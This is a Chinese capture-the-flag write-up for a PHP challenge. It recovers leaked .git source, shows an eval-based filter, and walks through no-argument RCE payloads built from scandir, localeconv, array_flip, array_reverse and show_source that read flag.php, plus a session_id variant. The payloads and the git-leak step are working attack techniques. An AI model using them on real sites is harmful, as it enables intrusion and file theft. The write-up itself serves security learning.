| 
 
 这题多少有点变态  首先是 git源码泄露,使用 lijiejie的 GitHack.py 获取 .git源码  
python2 GitHack.py http://b83677d6-46c1-46e1-b740-8dc6102420b6.node4.buuoj.cn/.git
  
index.php  代码分析一波  
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    
                
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
?>
  
尝试绕过半天,第二关实在是过不了,查看WP,学到一个新的知识(无参RCE)  
 
 尝试列出当前目录下文件 print_r(scandir(’.’));  显然这样是行不通的,因为scandir(’.’),传入了一个点,那么我梦思考可以用什么代替这个点。  pos(localeconv()) 可以表示点 localeconv() 函数返回一包含本地数字及货币格式信息的数组。  pos() 取数组中的当前元素的值 是current()函数的别名 print_r(scandir(pos(localeconv())));  列出当前目录下文件  Array ( [0] => . [1] => … [2] => .git [3] => flag.php [4] =>> index.php ) 接下来是如何取到flag.php的值,到这里又卡住了,从WP得知可以使用 array_reverse() array_flip() array_rand 函数  array_reverse() 以相反的元素顺序返回数组;  array_flip() 交换数组的键和值  array_rand() 随机返回键名  最终payload:  ?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));  因为有随机性所有到多刷新几次。  next() 输出数组中的当前元素和下一个元素的值  print_r(pos(array_reverse(scandir(pos(localeconv()))))); 表示 index.php  print_r(next(array_reverse(scandir(pos(localeconv()))))); 表示flag.php  读取文件内容可以使用 readfile()、 show_source() 或者 highlight_file()函数  
  
其他方法session_id(session_start())  php默认是不主动使用session的。 session_id()可以获取到当前的session id,PHPSESSID的cookie,并设置值为flag.php。     
参考文章:https://my.oschina.net/u/4330242/blog/3312589 
                
                
                
        
    
 
 |